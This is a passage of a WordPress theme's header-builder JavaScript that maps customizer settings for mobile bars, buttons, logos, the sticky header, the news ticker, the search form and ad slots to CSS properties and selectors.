        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_border_setting)': {
            'border-color': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_border_style_setting)': {
            'border-style': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_text_color_setting)': {
            'color': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_maxheight_setting)': {
            'max-height': '.penci-mobile-midbar',
        },

        // mobile bottom
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_background_img)': {
            'background-image': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_background_color)': {
            'background-color': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_background_repeat)': {
            'background-repeat': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_background_position)': {
            'background-position': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_background_size)': {
            'background-size': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_background_attachment)': {
            'background-attachment': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_border_setting)': {
            'border-color': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_border_style_setting)': {
            'border-style': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_text_color_setting)': {
            'color': '.penci-mobile-bottombar',
        },
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_maxheight_setting)': {
            'max-height': '.penci-mobile-bottombar',
        },

        // mobile sidebar
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_background_img)': {
            'background-image': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_background_color)': {
            'background-color': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_background_repeat)': {
            'background-repeat': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_background_position)': {
            'background-position': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_background_size)': {
            'background-size': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_background_attachment)': {
            'background-attachment': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_border_setting)': {
            'border-color': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_border_style_setting)': {
            'border-style': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_text_color_setting)': {
            'color': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },
        'setting(penci_header_drawer_container_section)(penci_header_mobile_sidebar_maxheight_setting)': {
            'max-height': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        },

        // search form
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_width)': {
            'max-width': '.penci-builder-element.pc-search-form-desktop,.penci-builder-element.pc-search-form-desktop.search-style-icon-button .search-input,.penci-builder-element.pc-search-form-desktop.search-style-text-button .search-input',
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_width)': {
            'max-width': '.penci-builder-element.pc-search-form-sidebar,.penci-builder-element.pc-search-form-sidebar.search-style-icon-button .search-input,.penci-builder-element.pc-search-form-sidebar.search-style-text-button .search-input',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_line_height_lv1)': {
            'line-height': '.pc-builder-element.pc-main-menu .navigation .menu > li > a',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_line_height_lv1)': {
            'line-height': '.pc-builder-element.pc-second-menu .navigation .menu > li > a',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_line_height_lv1)': {
            'line-height': '.pc-builder-element.pc-third-menu .navigation .menu > li > a',
        },

        // button
        'setting(penci_header_pb_button_section)(penci_header_pb_button_border_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-1'
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_border_hv_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-1:hover'
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_bg_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-1'
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_bg_hv_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-1:hover'
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_txt_color)': {
            'color': '.penci-builder.penci-builder-button.button-1'
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_txt_hv_color)': {
            'color': '.penci-builder.penci-builder-button.button-1:hover'
        },

        // button 2
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_border_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-2'
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_border_hv_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-2:hover'
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_bg_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-2'
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_bg_hv_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-2:hover'
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_txt_color)': {
            'color': '.penci-builder.penci-builder-button.button-2'
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_txt_hv_color)': {
            'color': '.penci-builder.penci-builder-button.button-2:hover'
        },

        // button 3
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_border_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-3'
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_border_hv_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-3:hover'
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_bg_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-3'
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_bg_hv_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-3:hover'
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_txt_color)': {
            'color': '.penci-builder.penci-builder-button.button-3'
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_txt_hv_color)': {
            'color': '.penci-builder.penci-builder-button.button-3:hover'
        },

        // button mb 1
        'setting(penci_header_pb_button_mobile_1_section)(penci_header_pb_button_mobile_border_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-mobile-1'
        },
        'setting(penci_header_pb_button_mobile_1_section)(penci_header_pb_button_mobile_border_hv_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-mobile-1:hover'
        },
        'setting(penci_header_pb_button_mobile_1_section)(penci_header_pb_button_mobile_bg_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-mobile-1'
        },
        'setting(penci_header_pb_button_mobile_1_section)(penci_header_pb_button_mobile_bg_hv_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-mobile-1:hover'
        },
        'setting(penci_header_pb_button_mobile_1_section)(penci_header_pb_button_mobile_txt_color)': {
            'color': '.penci-builder.penci-builder-button.button-mobile-1'
        },
        'setting(penci_header_pb_button_mobile_1_section)(penci_header_pb_button_mobile_txt_hv_color)': {
            'color': '.penci-builder.penci-builder-button.button-mobile-1:hover'
        },

        // button mb 2
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_border_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-mobile-2'
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_border_hv_color)': {
            'border-color': '.penci-builder.penci-builder-button.button-mobile-2:hover'
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_bg_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-mobile-2'
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_bg_hv_color)': {
            'background-color': '.penci-builder.penci-builder-button.button-mobile-2:hover'
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_txt_color)': {
            'color': '.penci-builder.penci-builder-button.button-mobile-2'
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_txt_hv_color)': {
            'color': '.penci-builder.penci-builder-button.button-mobile-2:hover'
        },

        // logo
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_penci_font_for_title)': {
            '--pchb-logo-title-font': '.penci-header-image-logo,.penci-header-text-logo',
            'font-family': '.penci-header-image-logo,.penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_color_logo)': {
            '--pchb-logo-title-color': '.penci-header-image-logo,.penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_font_size_logo)': {
            '--pchb-logo-title-size': '.penci-header-image-logo,.penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_penci_font_weight_title)': {
            'font-weight': '.penci-header-text-logo .site-name',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_penci_font_style_title)': {
            '--pchb-logo-title-fs': '.penci-header-image-logo,.penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_font_size_slogan)': {
            '--pchb-logo-slogan-size': '.penci-header-image-logo,.penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_color_slogan)': {
            '--pchb-logo-slogan-color': '.penci-header-image-logo,.penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_penci_font_for_slogan)': {
            '--pchb-logo-slogan-font': '.penci-header-image-logo,.penci-header-text-logo',
            'font-family': '.penci-header-image-logo,.penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_penci_font_weight_slogan)': {
            'font-weight': '.penci-header-image-logo .site-slogan,.penci-header-text-logo .site-slogan'
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_penci_font_style_slogan)': {
            '--pchb-logo-slogan-fs': '.penci-header-image-logo,.penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_size_logo_w)': {
            'max-width': '.pc-logo-desktop.penci-header-image-logo img'
        },
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_size_logo_h)': {
            'max-height': '.pc-logo-desktop.penci-header-image-logo img'
        },

        // logo mobile
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_penci_font_for_title)': {
            '--pchb-m-logo-title-font': '.penci_navbar_mobile .penci-header-text-logo',
            'font-family': '.penci_navbar_mobile .penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_color_logo)': {
            '--pchb-m-logo-title-color': '.penci_navbar_mobile .penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_font_size_logo)': {
            '--pchb-m-logo-title-size': '.penci_navbar_mobile .penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_penci_font_weight_title)': {
            'font-weight': '.penci_navbar_mobile .penci-header-text-logo .site-name',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_penci_font_style_title)': {
            '--pchb-m-logo-title-fs': '.penci_navbar_mobile .penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_font_size_slogan)': {
            '--pchb-m-logo-slogan-size': '.penci_navbar_mobile .penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_color_slogan)': {
            '--pchb-m-logo-slogan-color': '.penci_navbar_mobile .penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_penci_font_for_slogan)': {
            '--pchb-m-logo-slogan-font': '.penci_navbar_mobile .penci-header-text-logo',
            'font-family': '.penci_navbar_mobile .penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_penci_font_weight_slogan)': {
            'font-weight': '.penci_navbar_mobile .site-slogan',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_penci_font_style_slogan)': {
            '--pchb-m-logo-slogan-fs': '.penci_navbar_mobile .penci-header-text-logo',
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_size_logo_mw)': {
            'max-width': '.penci_navbar_mobile .penci-header-image-logo img'
        },
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_size_logo_mh)': {
            'max-height': '.penci_navbar_mobile .penci-header-image-logo img'
        },

        // logo sidebar
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_penci_font_for_title)': {
            '--pchb-logo-sm-title-font': '.pb-logo-sidebar-mobile',
            'font-family': '.pb-logo-sidebar-mobile',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_color_logo)': {
            '--pchb-logo-sm-title-color': '.pb-logo-sidebar-mobile',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_font_size_logo)': {
            '--pchb-logo-sm-title-size': '.pb-logo-sidebar-mobile',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_penci_font_weight_title)': {
            'font-weight': '.pb-logo-sidebar-mobile.penci-header-text-logo .site-name',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_penci_font_style_title)': {
            '--pchb-logo-sm-title-fs': '.pb-logo-sidebar-mobile',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_font_size_slogan)': {
            '--pchb-logo-sm-slogan-size': '.pb-logo-sidebar-mobile',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_color_slogan)': {
            '--pchb-logo-sm-slogan-color': '.pb-logo-sidebar-mobile',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_penci_font_for_slogan)': {
            '--pchb-logo-sm-slogan-font': '.pb-logo-sidebar-mobile',
            'font-family': '.pb-logo-sidebar-mobile',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_penci_font_weight_slogan)': {
            'font-weight': '.pb-logo-sidebar-mobile.penci-header-text-logo .site-slogan',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_penci_font_style_slogan)': {
            '--pchb-logo-sm-slogan-fs': '.pb-logo-sidebar-mobile',
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_size_logo_mw)': {
            'max-width': '.pc-builder-element.pb-logo-sidebar-mobile img'
        },
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_size_logo_mh)': {
            'max-height': '.pc-builder-element.pb-logo-sidebar-mobile img'
        },

        // logo sticky
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_penci_font_for_title)': {
            '--pchb-logo-s-title-font': '.pc-logo-sticky',
            'font-family': '.pc-logo-sticky',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_color_logo)': {
            '--pchb-logo-s-title-color': '.pc-logo-sticky',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_font_size_logo)': {
            '--pchb-logo-s-title-size': '.pc-logo-sticky',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_penci_font_weight_title)': {
            'font-weight': '.pc-logo-sticky.penci-header-text-logo .site-name',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_penci_font_style_title)': {
            '--pchb-logo-s-title-fs': '.pc-logo-sticky',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_font_size_slogan)': {
            '--pchb-logo-s-slogan-size': '.pc-logo-sticky',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_color_slogan)': {
            '--pchb-logo-s-slogan-color': '.pc-logo-sticky',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_penci_font_for_slogan)': {
            '--pchb-logo-s-slogan-font': '.pc-logo-sticky',
            'font-family': '.pc-logo-sticky',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_penci_font_weight_slogan)': {
            'font-weight': '.pc-logo-sticky.penci-header-image-logo .site-slogan,.pc-logo-sticky.penci-header-text-logo .site-slogan',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_penci_font_style_slogan)': {
            '--pchb-logo-s-slogan-fs': '.pc-logo-sticky',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_size_logo_w)': {
            'max-width': '.pc-builder-element.pc-logo-sticky.pc-logo img',
        },
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_size_logo_h)': {
            'max-height': '.pc-builder-element.pc-logo-sticky.pc-logo img',
        },
        'setting(penci_header_desktop_sticky_section)(penci_header_sticky_border_color)': {
            'border-color': '.penci_builder_sticky_header_desktop',
        },
        'setting(penci_header_desktop_sticky_section)(penci_header_sticky_border_style)': {
            'border-style': '.penci_builder_sticky_header_desktop',
        },
        'setting(penci_header_desktop_sticky_section)(penci_header_desktop_sticky_wrap_custom_width)': {
            'max-width': '.penci_builder_sticky_header_desktop.pchb-boxed-layout.container.container-custom, .penci-header-builder.pchb-boxed-layout.container.container-custom',
        },
        'setting(penci_header_desktop_sticky_section)(penci_header_desktop_sticky_lr_spc)': {
            'margin-left': '.pchb-boxed-layout.penci_builder_sticky_header_desktop .penci_nav_row',
			'margin-right': '.pchb-boxed-layout.penci_builder_sticky_header_desktop .penci_nav_row',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_content_width)': {
            'width': '.penci-desktop-sticky-top .container.container-normal',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_content_width)': {
            'width': '.penci-desktop-sticky-mid .container.container-normal',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_content_width)': {
            'width': '.penci-desktop-sticky-bottom .container.container-normal',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_color)': {
            'color': '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_hv_color)': {
            'color': '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title:hover',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_arr_color)': {
            'color': '.penci-builder-element.penci-topbar-trending .penci-trending-nav a',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_arr_hv_color)': {
            'color': '.penci-builder-element.penci-topbar-trending .penci-trending-nav a:hover',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_headline_color)': {
            'color': '.penci-builder-element.penci-topbar-trending .headline-title',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_headline_bg_style3)': {
            'border-right-color': '.penci-builder-element.penci-topbar-trending .headline-title.nticker-style-3::after',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_headline_bg)': {
            'background-color': '.penci-builder-element.penci-topbar-trending .headline-title',
            'border-bottom-color': '.penci-builder-element.penci-topbar-trending .headline-title.nticker-style-4:after',
            'border-left-color': '.penci-builder-element.penci-topbar-trending .headline-title.nticker-style-2:after',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_fs)': {
            'font-size': '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_fw)': {
            'font-weight': '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_arr_fs)': {
            'font-size': '.penci-builder-element.penci-topbar-trending .penci-trending-nav a',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_headline_fs)': {
            'font-size': '.penci-builder-element.penci-topbar-trending .headline-title',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_font)': {
            'font-family': '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title,.penci-builder-element.penci-topbar-trending .headline-title',
        },
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_width)': {
            'max-width': '.penci-builder-element.penci-topbar-trending',
        },
        'setting(penci_header_pb_login_register_section)(penci_header_pb_login_register_penci_fontw_login_text)': {
            'font-weight': '.pc-header-element.penci-topbar-social .pclogin-item a'
        },
        'setting(penci_header_pb_login_register_section)(penci_header_pb_login_register_penci_font_login_text)': {
            'font-family': '.pc-header-element.penci-topbar-social .pclogin-item a'
        },
        'setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_font_size_lv1)': {
            'font-size': '.pc-builder-menu.pc-dropdown-menu .menu li a'
        },
        'setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_font_size_drop)': {
            'font-size': '.pc-builder-menu.pc-dropdown-menu .menu li li a'
        },
        'setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_menu_border_color)': {
            'border-color': '.penci-menu-hbg.penci-builder-mobile-sidebar-nav .menu li,.penci-menu-hbg.penci-builder-mobile-sidebar-nav ul.sub-menu'
        },
        'setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_font_for_menu)': {
            'font-family': '.pc-builder-menu.pc-dropdown-menu .menu li a'
        },
        'setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_font_weight_menu)': {
            'font-weight': '.pc-builder-menu.pc-dropdown-menu .menu li a'
        },
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_size)': {
            '--pcbd-menuhbg-size': '.penci-menuhbg-toggle.builder'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_txt_color)': {
            '--pcs-d-txt-cl': '.penci-builder-element.pc-search-form-desktop'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_txt_color)': {
            '--pcs-s-txt-cl': '.penci-builder-element.pc-search-form-sidebar'
        },
        'setting(penci_header_desktop_option_section)(penci_header_border_color)': {
            'border-color': '.penci_header.main-builder-header',
        },
        'setting(penci_header_desktop_option_section)(penci_header_border_style)': {
            'border-style': '.penci_header.main-builder-header',
        },
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_btnbstyle)': {
            'border-style': '.navigation .button-menu-mobile',
        },
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_bcolor)': {
            'border-color': '.navigation .button-menu-mobile',
        },
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_bhcolor)': {
            'border-color': '.navigation .button-menu-mobile:hover',
        },
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_bgcolor)': {
            'background-color': '.navigation .button-menu-mobile',
        },
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_bghcolor)': {
            'background-color': '.navigation .button-menu-mobile:hover',
        },
        'setting(penci_header_desktop_option_section)(penci_header_wrap_custom_width)': {
           'max-width': '.penci-header-builder.main-builder-header.pchb-boxed-layout.container.container-custom',
        },
        'setting(penci_header_desktop_option_section)(penci_header_wrap_lr_spc)': {
            'margin-left': '.pchb-boxed-layout .penci_nav_row',
			'margin-right': '.pchb-boxed-layout .penci_nav_row',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_border_color)': {
            'border-bottom-color': '.header-search-style-showup .pc-wrapbuilder-header .show-search:before',
            'border-top-color': '.header-search-style-showup .pc-wrapbuilder-header .show-search'
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_bg_color)': {
            'background-color': '.header-search-style-showup .pc-wrapbuilder-header .show-search'
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_input_border_color)': {
            'border-color': '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_input_bg_color)': {
            'background-color': '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_input_color)': {
            '--pchd-sinput-txt': '.pc-wrapbuilder-header',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_o_bdcolor)': {
            'border-color': '.header-search-style-overlay .pc-wrapbuilder-header .show-search form.pc-searchform .pc-searchform-inner',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_button_bg_color)': {
            'background-color': '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_button_bg_hcolor)': {
            'background-color': '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit:hover',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_button_color)': {
            'color': '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_button_hcolor)': {
            'color': '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit:hover',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_o_bgcolor)': {
            'background-color': '.header-search-style-overlay .penci-header-builder .show-search',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_o_closecolor)': {
            'color': '.header-search-style-overlay .penci-header-builder .show-search a.close-search',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_input_size)': {
            'font-size': '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input,.header-search-style-overlay .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_btn_size)': {
            'font-size': '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit',
        },
        'setting(penci_header_pb_html_ad_section)(penci_header_builder_pb_html_color)': {
            'color': '.penci-builder-element.penci-html-ads-1',
        },
        'setting(penci_header_pb_html_ad_section)(penci_header_builder_pb_html_link_color)': {
            'color': '.penci-builder-element.penci-html-ads-1 a',
        },
        'setting(penci_header_pb_html_ad_section)(penci_header_builder_pb_html_fsize)': {
            'font-size': '.penci-builder-element.penci-html-ads-1,.penci-builder-element.penci-html-ads-1 *',
        },
        'setting(penci_header_pb_html_ad_2_section)(penci_header_builder_pb_html_2_color)': {
            'color': '.penci-builder-element.penci-html-ads-2',
        },
        'setting(penci_header_pb_html_ad_2_section)(penci_header_builder_pb_html_2_link_color)': {
            'color': '.penci-builder-element.penci-html-ads-2 a',
        },
        'setting(penci_header_pb_html_ad_2_section)(penci_header_builder_pb_html_2_fsize)': {
            'font-size': '.penci-builder-element.penci-html-ads-2,.penci-builder-element.penci-html-ads-2 *',
        },
        'setting(penci_header_pb_html_ad_3_section)(penci_header_builder_pb_html_3_color)': {
            'color': '.penci-builder-element.penci-html-ads-3',
        },
        'setting(penci_header_pb_html_ad_3_section)(penci_header_builder_pb_html_3_link_color)': {
            'color': '.penci-builder-element.penci-html-ads-3 a',
        },
        'setting(penci_header_pb_html_ad_3_section)(penci_header_builder_pb_html_3_fsize)': {
            'font-size': '.penci-builder-element.penci-html-ads-3,.penci-builder-element.penci-html-ads-3 *',
        },
        'setting(penci_header_pb_html_ad_mobile_section)(penci_header_builder_pb_html_mobile_color)': {
            'color': '.penci-builder-element.penci-html-ads-mobile',
        },
        'setting(penci_header_pb_html_ad_mobile_section)(penci_header_builder_pb_html_mobile_link_color)': {
            'color': '.penci-builder-element.penci-html-ads-mobile a',
        },
        'setting(penci_header_pb_html_ad_mobile_section)(penci_header_builder_pb_html_mobile_fsize)': {
            'font-size': '.penci-builder-element.penci-html-ads-mobile,.penci-builder-element.penci-html-ads-mobile *',
        },
        'setting(penci_header_pb_html_ad_mobile_2_section)(penci_header_builder_pb_html_mobile_2_color)': {
            'color': '.penci-builder-element.penci-html-ads-mobile-2',
        },
        'setting(penci_header_pb_html_ad_mobile_2_section)(penci_header_builder_pb_html_mobile_2_link_color)': {
            'color': '.penci-builder-element.penci-html-ads-mobile-2 a',
        },
        'setting(penci_header_pb_html_ad_mobile_2_section)(penci_header_builder_pb_html_mobile_2_fsize)': {
            'font-size': '.penci-builder-element.penci-html-ads-mobile-2,.penci-builder-element.penci-html-ads-mobile-2 *',
        },
